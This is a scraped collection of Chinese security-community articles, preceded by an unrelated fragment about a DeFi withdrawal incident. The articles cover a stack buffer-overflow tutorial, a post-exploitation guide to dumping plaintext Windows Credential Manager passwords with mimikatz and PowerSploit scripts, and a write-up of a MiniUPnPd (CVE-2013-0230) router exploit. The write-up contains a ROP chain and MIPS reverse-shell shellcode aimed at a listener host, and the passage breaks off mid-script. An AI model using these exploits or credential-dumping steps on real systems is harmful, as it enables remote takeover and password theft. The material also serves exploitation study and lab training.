目前，由于提现失败造成社区的恐慌，大量用户通过合约的 emergencyWithdraw 函数提取本金；Big Data Protocol
官方也给出了相应的解决措施，更新前端UI便于用户提取挖矿资产，对于挖矿未提取的 BDP，后续补发所欠奖励部分。
* * * | 社区文章 |
# pwn入门：sploitfun——典型的基于堆栈的缓冲区溢出详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文是基于sploitfun系列教程的详细解析，sploitfun对于纯新手而言，其中有些东西还是不够详细，新手不能很好的接触到其中原理，故作此文进行补充
虚拟机环境：Ubuntu 14.04（x86）
编译代码第一行，表示关闭ASLR（地址空间布局随机化）。kernel.randomize_va_space堆栈地址随机初始化，很好理解，就是在每次将程序加载到内存时，进程地址空间的堆栈起始地址都不一样，动态变化，导致猜测或找出地址来执行shellcode
变得非常困难。
编译代码第二行表示，gcc编译时，关闭DEP和栈保护。
当-f-stack-protector启用时（CANNARY栈保护），当其检测到缓冲区溢出时(例如，缓冲区溢出攻击）时会立即终止正在执行的程序，并提示其检测到缓冲区存在的溢出的问题。这是gcc编译器专门为防止缓冲区溢出而采取的保护措施，具体方法是gcc首先在缓冲区被写入之前在buf的结束地址之后返回地址之前放入随机的gs验证码，并在缓冲区写入操作结束时检验该值。通常缓冲区溢出会从低地址到高地址覆写内存，所以如果要覆写返回地址，则需要覆写该gs验证码。这样就可以通过比较写入前和写入后gs验证码的数据，判断是否产生溢出。
NX即No-execute（不可执行）的意思，NX（DEP）的基本原理是将数据所在内存页标识为不可执行，当程序溢出成功转入shellcode时，程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。
工作原理如下图：
Gcc默认开启NX选项，如果需要关闭NX选项可以给gcc编译器添加-z execstack参数
编译代码第三至第五行。更改文件权限
chgrp命令，改变文件或目录所属的组。
chown命令，chown将指定文件的拥有者改为指定的用户或组。用户可以是用户名或用户ID。组可以是组名或组ID。文件是以空格分开的要改变权限的文件列表，支持通配符。
Chown +s命令，为了方便普通用户执行一些特权命令，SUID/SGID程序允许普通用户以root身份暂时执行该程序，并在执行结束后再恢复身份。chmod
+s 就是给某个程序或者教本以suid权限
上述漏洞代码的第【2】行，可能造成缓冲区溢出错误。这个bug可能导致任意代码执行，因为源缓冲区内容是用户输入的！
我们通过覆盖返回地址，可以实现任意代码执行。
先反汇编main函数，disassemble main或者disass main
下面是收集到的栈溢出背景知识：
函数状态主要涉及三个寄存器－－esp，ebp，eip。esp 用来存储函数调用栈的栈顶地址，在压栈和退栈时发生变化。ebp
用来存储当前函数状态的基地址，在函数运行时不变，可以用来索引确定函数参数或局部变量的位置。eip 用来存储即将执行的程序指令的地址，cpu 依照 eip
的存储内容读取指令并执行，eip 随之指向相邻的下一条指令，如此反复，程序就得以连续执行指令。
下面让我们来看看发生函数调用时，栈顶函数状态以及上述寄存器的变化。变化的核心任务是将调用函数（caller）的状态保存起来，同时创建被调用函数（callee）的状态。
首先将被调用函数（callee）的参数按照逆序依次压入栈内。如果被调用函数（callee）不需要参数，则没有这一步骤。这些参数仍会保存在调用函数（caller）的函数状态内，之后压入栈内的数据都会作为被调用函数（callee）的函数状态来保存。
将被调用函数的参数压入栈内
然后将调用函数（caller）进行调用之后的下一条指令地址作为返回地址压入栈内。这样调用函数（caller）的 eip（指令）信息得以保存。
将被调用函数的返回地址压入栈内
再将当前的ebp 寄存器的值（也就是调用函数的基地址）压入栈内，并将 ebp 寄存器的值更新为当前栈顶的地址。这样调用函数（caller）的
ebp（基地址）信息得以保存。同时，ebp 被更新为被调用函数（callee）的基地址。
将调用函数的基地址（ebp）压入栈内，
并将当前栈顶地址传到 ebp 寄存器内
再之后是将被调用函数（callee）的局部变量等数据压入栈内。
将被调用函数的局部变量压入栈内
在压栈的过程中，esp
寄存器的值不断减小（对应于栈从内存高地址向低地址生长）。压入栈内的数据包括调用参数、返回地址、调用函数的基地址，以及局部变量，其中调用参数以外的数据共同构成了被调用函数（callee）的状态。在发生调用时，程序还会将被调用函数（callee）的指令地址存到
eip 寄存器内，这样程序就可以依次执行被调用函数的指令了。
看过了函数调用发生时的情况，就不难理解函数调用结束时的变化。变化的核心任务是丢弃被调用函数（callee）的状态，并将栈顶恢复为调用函数（caller）的状态。
首先被调用函数的局部变量会从栈内直接弹出，栈顶会指向被调用函数（callee）的基地址。
将被调用函数的局部变量弹出栈外
然后将基地址内存储的调用函数（caller）的基地址从栈内弹出，并存到 ebp 寄存器内。这样调用函数（caller）的
ebp（基地址）信息得以恢复。此时栈顶会指向返回地址。
将调用函数（caller）的基地址（ebp）弹出栈外，并存到 ebp 寄存器内
再将返回地址从栈内弹出，并存到 eip 寄存器内。这样调用函数（caller）的 eip（指令）信息得以恢复。
将被调用函数的返回地址弹出栈外，并存到 eip 寄存器内
至此调用函数（caller）的函数状态就全部恢复了，之后就是继续执行调用函数的指令了。
如上述介绍，汇编代码含义如图
前七句，为开始的初始化，第八到第十句为strcpy准备参数，第十一句调用strcpy函数，第十二到十四句为printf准备参数，第十五句调用printf函数，后面就是清理栈和return的收尾3环节
此时栈的分布大致如图所示：
测试步骤1：是否可以覆盖返回地址？
以Python命令运行，输入300个A，结果如图，p查看寄存器，/x以十六进制，看到指令寄存器已经被AAAA覆盖，确定覆盖返回地址是可能的。
接下来，我们要确定Return Address相对于buf ends的偏移量，首先caller’s
EBP有0x4个偏移量，但是由于有一个栈平衡操作，所以buf ends和caller’s
EBP之间还可能存在对其空间，但是我们不知道具体空间，可以自己填充来一点点尝试，如下图
这样我们获得了返回地址距目标缓冲区buf的偏移量0x10c，0x10c=0x100+0x8+0x4,0x100是buf大小，0x8是对其空间，0x4是ebp
这里继续补充一点shellcode的背景知识。
shellcode－－修改返回地址，让其指向溢出数据中的一段指令。
我们要完成的任务包括：在溢出数据内包含一段攻击指令，用攻击指令的起始地址覆盖掉返回地址。攻击指令一般都是用来打开
shell，从而可以获得当前进程的控制权，所以这类指令片段也被成为“shellcode”。shellcode
可以用汇编语言来写再转成对应的机器码，也可以上网搜索直接复制粘贴，这里就不再赘述。下面我们先写出溢出数据的组成，再确定对应的各部分填充进去。
payload : padding1 + address of shellcode + padding2 + shellcode
shellcode 所用溢出数据的构造
padding1 处的数据可以随意填充（注意如果利用字符串程序输入溢出数据不要包含 “x00”
，否则向程序传入溢出数据时会造成截断），长度应该刚好覆盖函数的基地址。address of shellcode 是后面 shellcode
起始处的地址，用来覆盖返回地址。padding2 处的数据也可以随意填充，长度可以任意。shellcode 应该为十六进制的机器码格式。
根据上面的构造，我们要解决两个问题。
1\. 返回地址之前的填充数据（padding1）应该多长？
我们可以用调试工具（例如
gdb）查看汇编代码来确定这个距离，也可以在运行程序时用不断增加输入长度的方法来试探（如果返回地址被无效地址例如“AAAA”覆盖，程序会终止并报错）。
2\. shellcode起始地址应该是多少？
我们可以在调试工具里查看返回地址的位置（可以查看 ebp
的内容然后再加4（32位机），参见前面关于函数状态的解释），可是在调试工具里的这个地址和正常运行时并不一致，这是运行时环境变量等因素有所不同造成的。所以这种情况下我们只能得到大致但不确切的
shellcode 起始地址，解决办法是在 padding2 里填充若干长度的 “x90”。这个机器码对应的指令是 NOP (No
Operation)，也就是告诉 CPU 什么也不做，然后跳到下一条指令。有了这一段 NOP
的填充，只要返回地址能够命中这一段中的任意位置，都可以无副作用地跳转到 shellcode 的起始处，所以这种方法被称为 NOP
Sled（中文含义是“滑雪橇”）。这样我们就可以通过增加 NOP 填充来配合试验 shellcode 起始地址。
操作系统可以将函数调用栈的起始地址设为随机化（这种技术被称为内存布局随机化，即Address Space Layout Randomization
(ASLR)
），这样程序每次运行时函数返回地址会随机变化。反之如果操作系统关闭了上述的随机化（这是技术可以生效的前提），那么程序每次运行时函数返回地址会是相同的，这样我们可以通过输入无效的溢出数据来生成core文件，再通过调试工具在core文件中找到返回地址的位置，从而确定
shellcode 的起始地址。
解决完上述问题，我们就可以拼接出最终的溢出数据，输入至程序来执行 shellcode 了。
shellcode 所用溢出数据的最终构造
但这种方法生效的一个前提是在函数调用栈上的数据（shellcode）要有可执行的权限（另一个前提是上面提到的关闭内存布局随机化）。很多时候操作系统会关闭函数调用栈的可执行权限，这样
shellcode 的方法就失效了，不过我们还可以尝试使用内存里已有的指令或函数，毕竟这些部分本来就是可执行的，所以不会受上述执行权限的限制。这就包括
return2libc 和 ROP 两种方法。 通过上述介绍我们先来做准备工作。
我们在esp上加上一个N（自己设一个差不多大小的），但是我们的返回地址=esp+N<NOP填充长度，因为上述介绍，调试工具里的这个地址和正常运行时并不一致，所以我们要填充NOP>esp+N,以便我们能顺利滑到shellcode。
这里我N就随便取一个4。
构造shellcode代码
完成图:
这里给几处解释说明
先是struct.pack(“<I”, num)，<表示小端序，I表示无符号整型
详情见：<https://blog.csdn.net/weiwangchao_/article/details/80395941>
Shellcode构造方法，详情见：<http://blog.nsfocus.net/easy-implement-shellcode-xiangjie/>
文中一些背景技术引用：https://zhuanlan.zhihu.com/p/25816426 | 社区文章 |
## 0x00 前言
在后渗透阶段，获得权限后需要搜集目标系统的信息。信息越全面，越有助于进一步的渗透。
对于Windows系统，Credential Manager中包含十分重要的信息。
这其中具体包含什么类型的信息，获取的方法有哪些呢？本文将要一一介绍
## 0x01 简介
本文将要介绍以下内容：
* Credential Manager中不同类型的凭据
* 不同凭据的明文口令获取方法
* 实际测试
## 0x02 Credential Manager简介
Credential Manager，中文翻译为凭据管理器，用来存储凭据(例如网站登录和主机远程连接的用户名密码)
如果用户选择存储凭据，那么当用户再次使用对应的操作，系统会自动填入凭据，实现自动登录
凭据保存在特定的位置，被称作为保管库(vault)(位于`%localappdata%/Microsoft\Vault`)
## 凭据类别：
包含两种，分别为Domain Credentials和Generic Credentials
### Domain Credentials：
只有本地Local Security Authority (LSA)能够对其读写
也就是说，普通权限无法读取Domain Credentials类型的明文口令
### Generic Credentials：
能够被用户进程读写
也就是说，普通权限可以读取Generic Credentials类型的明文口令
参考资料：
<https://msdn.microsoft.com/en-us/library/aa380517.aspx>
## 0x03 实际测试
### 测试1：
测试系统： Win7
访问文件共享`\\192.168.62.130`
如下图
填入正确的用户名密码，选中`记住我的凭据`
下次再访问时，就不需要再次输入用户名密码
通过控制面板能够找到添加的凭据，位置为`控制面板`-`用户帐户和家庭安全`-`凭据管理器`
如下图
密码被加密，无法直接查看
**注：**
文件共享的凭据类型默认为Domain Credentials
### 测试2：
测试系统： Win8
使用IE浏览器访问网站 <https://github.com/> ，登录成功后选择记录用户名密码
通过控制面板访问凭据管理器，如下图
**注：**
Win8开始，凭据管理器的页面进行了改版(同Win7不同)，添加了Web凭据
显示凭据密码需要填入当前用户名口令，如下图
**注：**
IE浏览器的凭据类型默认为Generic Credentials
### 测试3：
测试系统： Win7
通过控制面板添加普通凭据，Internet地址或网络地址为Generi1，用户名为test1，密码为pass1，如下图
通过控制面板无法获得该普通凭据的明文口令
## 0x04 导出Credentials中的明文口令
### 1、获得系统凭据的基本信息
工具： vaultcmd(windows系统自带)
常用命令：
列出保管库(vault)列表：
vaultcmd /list
**注：**
不同类型的凭据保存在不同的保管库(vault)下
列出保管库(vault)概要，凭据名称和GUID：
vaultcmd /listschema
**注：**
GUID对应路径%localappdata%/Microsoft\Vault{GUID}下的文件，如下图
列出名为”Web Credentials”的保管库(vault)下的所有凭据信息：
vaultcmd /listcreds:"Web Credentials"
**注：**
如果是中文操作系统，可将名称替换为对应的GUID，命令如下
列出GUID为`{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}`的保管库(vault)下的所有凭据：
vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}
列出GUID为{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}的保管库(vault)的属性，包括文件位置、包含的凭据数量、保护方法：
vaultcmd /listproperties:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}
### 2、获得Domain Credentials的明文口令
工具： mimikatz
参数：
sekurlsa::logonpasswords
对应前面的测试1，在credman位置显示，如下图
**注：**
mimikatz不仅能导出Domain Credentials的明文口令，也能导出普通凭据(Generic
Credentials)类型的明文口令，但无法导出IE浏览器保存的Generic Credentials类型的明文口令
### 3、获得Generic Credentials的明文口令
#### (1) IE浏览器保存的Generic Credentials
工具： Get-VaultCredential.ps1
下载地址：
<https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-VaultCredential.ps1>
对应前面的测试2，Win8系统成功导出明文口令，如下图
**注：**
该脚本也能获得名为Windows Credential的保管库(vault)下面的凭据信息，但无法获得凭据的明文口令
**补充：**
Win7系统下的凭据管理器同Win8有区别，多了一个选项，指定`程序使用此密码时提示我提供权限`，如下图
当选中时，使用powershell脚本读取明文口令时会弹框提示(无法绕过)，如下图
#### (2) 其他类型的普通票据
工具： Invoke-WCMDump.ps1
下载地址：
<https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1>
对应测试3，普通用户权限即可，能够导出普通票据的明文口令，如下图
**注：**
该脚本还能导出Domain Credentials的信息(不包括明文口令)
## 0x05 小结
本文介绍了不同类型的票据(Credential)明文口令的获取方法，测试多个工具，帮助大家更好理解这部分内容
> 本文为 3gstudent 原创稿件， 授权嘶吼独家发布，如若转载，请注明原文地址：
> <http://www.4hou.com/technology/9397.html> | 社区文章 |
# 路由器Exploit 开发
> 红日安全成员：lifeand
> 博客：<http://sec-redclub.com/team/>
**本机环境**
* Debian 9
* Qemu
## 概要
本文主要以CVE-2013-0230 漏洞为例，讲解路由器上缓冲区漏洞的exp 编写。
## 0x01 环境搭建
### 使用firmware-analysis-toolkit
[firmware-analysis-toolkit](https://github.com/attify/firmware-analysis-toolkit)是模拟固件和分析安全漏洞的工具。
该工具可以自动的解压固件和创建image 使用qemu 来模拟路由器。
在本文中也尝试过使用该工具，但是存在一些问题，无法正常启动，对于这种情况可以使用Debian MIPS 虚拟机来调试，或者也可以直接使用qemu-mipsel-static 来测试某个mips 程序
### 工具链
使用 buildroot 来构建
从[buildroot](https://buildroot.org/download.html) 官网下载最新版，解压并配置相关设置
> make menuconfig
选择 mips (big endian) 构架
kernel 这里选择的是 3.10.x
cross gdb 选上，或者也可以使用 **gdb-multiarch** (apt-get 直接安装，在使用时要set arch mips，本文使用
**gdb-multiarch** )
make 直接编译
> make -j2 (-j后面cpu 核心)
在根目录的output 文件夹里就是编译好的程序
### 网桥搭建
bunctl -t tap0 -u <user>
ifconfig tap0 up
brctl addbr br0
brctl addif br0 tap0
brctl addif br0 eth0
ifconfig br0 192.168.86.2
在启动Debian MIPS 虚拟机后，需要配置虚拟机的IP 来和主机通讯
### Debian MIPS 虚拟机
从[这里](https://people.debian.org/~aurel32/qemu/mips/) 下载qemu 镜像
网桥搭建
bunctl -t tap0 -u <user>
ifconfig tap0 up
brctl addbr br0
brctl addif br0 tap0
brctl addif br0 eth0
ifconfig br0 192.168.86.2
在启动Debian MIPS 虚拟机后，需要配置虚拟机的IP 来和主机通讯
启动命令
#!/usr/bin/env sh
qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no
### UART 调试
如果手边有路由器也可以使用UART 来调试路由器, 需要使用的是ttl转usb 模块,
拆开路由器后，在电路板上一般会有四个插孔，用于开发时期做调试时用,而在发行时期并没有把对应的调试电路去掉，
所以自己外接ttl转usb 模块或六合一模块来进行UART 调试。需要用到的接口主要有TX,RD,GND，连接完成后
在Linux 系统上可以执行
> sudo minicom --device /dev/ttyUSB0
随后，重新接入电源则会出现路由器的启动信息
[具体可以参考](http://future-sec.com/iot-security-hardware-debuging.html)
## 0x02 CVE-2013-0230
预备知识
1. 调试时本文使用gdb 来调试，插件使用[pwndbg](https://github.com/pwndbg/pwndbg), 当然也可以使用[gef](https://github.com/hugsy/gef)
2. mips 汇编基础，有些汇编需要去了解下
3. 因本文调试的CVE 为栈溢出漏洞，所以还需要去了解下其原理
4. ida 使用基础
### CVE-2013-0230
#### **设置目标**
下载到目标固件后，使用binwalk 进行解压
> 记得先 sudo apt install squashfs-tools
解压完后
该漏洞出现在miniupnpd 文件上
使用qemu-system-mips 启动虚拟机，配置ip
配置好后，通过scp 将miniupnpd 文件传输到虚拟机中，
还需要将libc.so.0 和ld-uClibc.so.0 一起复制到虚拟机中，并放在lib 目录用，设置链接，保证miniupnpd 可以运行
启动miniupnpd 需要设置一些参数
这里写了个方便调试的脚本run, 并且开启gdbserver , 启动远程调试服务
#### IDA 逆向分析
使用ida 打开miniupnpd 文件， 来到ExecuteSoapAction 处
可以清楚的看到memcpy 函数调用, 调用memcpy 过程中将a1 的数据不加限制的复制到a0 (栈上)，由此，经典的栈溢出发生
#### 远程调试
在虚拟机中运行run 脚本, 在主机上~/.gdbinit 中加入
> set architecture mips
> target remote 192.168.86.103:1234
当使用gdb-multiarch 时，自动执行.gdbinit 脚本内容
gdb 连上后运行触发脚本
import urllib2
payload = 'A'*2500
#payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D'
#payload = 'A' * 2076
#payload += 'BBBB'
soap_headers = {
'SOAPAction':"n:schemas-upnp-org:service:WANIPConection:1#"+payload,
}
soap_data = """
<?xml version='1.0' encoding="UTF-8"?>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap.envelope/"
>
<SOAP-ENV:Body>
<ns1:action xmlns:ns1="urn:schemaas-upnp-org:service:WANIPConnection:1" SOAP-ENC:root="1">
</ns1:action>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
"""
req = urllib2.Request("http://192.168.86.103:5555", soap_data, soap_headers)
res = urllib2.urlopen(req)
脚本运行后，程序崩溃
返回地址已经被覆盖为0x41414141, 使用pattern 工具进一步来确定栈的大小
> pattern 2500
将payload 改为生成的字符串
重新运行
确定栈大小2076
在0x404f44 处下断点，断下来后，查看a0,a1 的情况
可以看到a1 指向'AAA...'
a0 到sp 的大小为2072, 符合我们所计算的溢出栈的大小
## 0x03 ROP链
我们可以控制 ra, s0,s1,s2,s3,s4,s5,s6 寄存器, 由于mips 构架的CPU 有两处缓存，cpu 分别从code 缓存和 data
缓存来获取指令和输入的数据
为此我们需要处理缓存问题，清除缓存。Airties 路由器不使用ASLR ，libc 的地址不变
我们需要通过调佣sleep 函数来刷新缓存的问题，随后返回到shellcode 去执行。
这里使用ida 插件[mipsrop](https://github.com/devttys0/ida) 来查找一些gadget
1 查找"li $a0, 1"
用ida 载入libc.so.0 , edit->plugins->MIPS ROP Finder 来初始化mipsrop 插件
> mipsrop.fine("li $a0, 1")
这里选择地址0x00036860 处的gadget
2
通过miprop.tails() 来找到有用的syscall
找到一处通过s1 传入地址，跳到该地址调用的gadget
3
找到存放shellcode 的地方
4
gadget 将shellcode 的地址放入s0 ,为此要找到一处将s0 放入t9 的指令
5 找到libc 地址
在debian mips 虚拟机上执行
> sysctl -w kernel.randomize_va_space = 0 来禁用ASLR
> 通过/proc/PID/maps 来找到libc 的地址
libc 的基址为0x77f92000
sleep 地址 0x35620
ra_1 = 1.gadget
s1 = 2.gadget
ra__2 = 3.gadget
s6 = 4.gadget
s2 = s6 = 4.gadget
于是payload 构造如下
2052 bytes junk + s1 + 16 bytes junk + s6 + ra_1 + 28 bytes junk + sleep + 40
bytes junk + s2 + ra_2 + 32 bytesjunks + shellcode
## 0x04 最终EXP
#!/usr/bin/env python
import urllib2
from string import join
from argparse import ArgumentParser
from struct import pack
from socket import inet_aton
BYTES = 4
def hex2str(value, size=BYTES):
data = ""
for i in range(0, size):
data += chr((value >> (8*i)) & 0xFF)
data = data[::-1]
return data
arg_parser = ArgumentParser(prog="miniupnpd_mips.py", description="MiniUPnPd \
CVE-2013-0230 Reverse Shell exploit for AirTies \
RT Series, start netcat on lhost:lport")
#arg_parser.add_argument("--target", required=True, help="Target IP address")
arg_parser.add_argument("--lhost", required=True, help="The IP address\
which nc is listening")
arg_parser.add_argument("--lport", required=True, type=int, help="The\
port which nc is listening")
args = arg_parser.parse_args()
libc_base = 0x77f92000
ra_1 = hex2str(libc_base + 0x36860) # ra = 1. gadget
'''
.text:00036860 li $a0, 1
.text:00036864 move $t9, $s1
.text:00036868 jalr $t9 ; sub_36510
.text:0003686C ori $a1, $s0, 2
'''
s1 = hex2str(libc_base + 0x1636C) # s1 = 2. gadget
'''
.text:0001636C move $t9, $s1
.text:00016370 lw $ra, 0x28+var_4($sp)
.text:00016374 lw $s2, 0x28+var_8($sp)
.text:00016378 lw $s1, 0x28+var_C($sp)
.text:0001637C lw $s0, 0x28+var_10($sp)
.text:00016380 jr $t9
.text:00016384 addiu $sp, 0x28
'''
sleep = hex2str(libc_base + 0x35620) # sleep function
ra_2 = hex2str(libc_base + 0x28D3C) # ra = 3. gadget
'''
.text:00028D3C addiu $s0, $sp, 0xD0+var_B0
.text:00028D40 lw $a0, 0($s2)
.text:00028D44 move $a1, $s1
.text:00028D48 move $a2, $s4
.text:00028D4C move $t9, $s6
.text:00028D50 jalr $t9
.text:00028D54 move $a3, $s0
'''
s6 = hex2str(libc_base + 0x1B19C) # ra = 4.gadget
'''
.text:0001B19C move $t9, $s0
.text:0001B1A0 jalr $t9
.text:0001B1A4 nop
'''
s2 = s6
lport = pack('>H', args.lport)
lhost = inet_aton(args.lhost)
shellcode = join([
"\x24\x11\xff\xff"
"\x24\x04\x27\x0f"
"\x24\x02\x10\x46"
"\x01\x01\x01\x0c"
"\x1e\x20\xff\xfc"
"\x24\x11\x10\x2d"
"\x24\x02\x0f\xa2"
"\x01\x01\x01\x0c"
"\x1c\x40\xff\xf8"
"\x24\x0f\xff\xfa"
"\x01\xe0\x78\x27"
"\x21\xe4\xff\xfd"
"\x21\xe5\xff\xfd"
"\x28\x06\xff\xff"
"\x24\x02\x10\x57"
"\x01\x01\x01\x0c"
"\xaf\xa2\xff\xff"
"\x8f\xa4\xff\xff"
"\x34\x0f\xff\xfd"
"\x01\xe0\x78\x27"
"\xaf\xaf\xff\xe0"
"\x3c\x0e" + lport +
"\x35\xce" + lport +
"\xaf\xae\xff\xe4"
"\x3c\x0e" + lhost[:2] +
"\x35\xce" + lhost[2:4] +
"\xaf\xae\xff\xe6"
"\x27\xa5\xff\xe2"
"\x24\x0c\xff\xef"
"\x01\x80\x30\x27"
"\x24\x02\x10\x4a"
"\x01\x01\x01\x0c"
"\x24\x0f\xff\xfd"
"\x01\xe0\x78\x27"
"\x8f\xa4\xff\xff"
"\x01\xe0\x28\x21"
"\x24\x02\x0f\xdf"
"\x01\x01\x01\x0c"
"\x24\x10\xff\xff"
"\x21\xef\xff\xff"
"\x15\xf0\xff\xfa"
"\x28\x06\xff\xff"
"\x3c\x0f\x2f\x2f"
"\x35\xef\x62\x69"
"\xaf\xaf\xff\xec"
"\x3c\x0e\x6e\x2f"
"\x35\xce\x73\x68"
"\xaf\xae\xff\xf0"
"\xaf\xa0\xff\xf4"
"\x27\xa4\xff\xec"
"\xaf\xa4\xff\xf8"
"\xaf\xa0\xff\xfc"
"\x27\xa5\xff\xf8"
"\x24\x02\x0f\xab"
"\x01\x01\x01\x0c"
], '')
payload = 'A'*2052 + s1 + 'A'*(4*4) + s6 + ra_1 + 'A'*28 + sleep + 'A'*40 + s2\
+ ra_2 + 'C'*32 #+ shellcode
soap_headers = {
'SOAPAction': "n:schemas-upnp-org:service:WANIPConnection:1#" + payload,
}
soap_data = """
<?xml version='1.0' encoding="UTF-8"?>
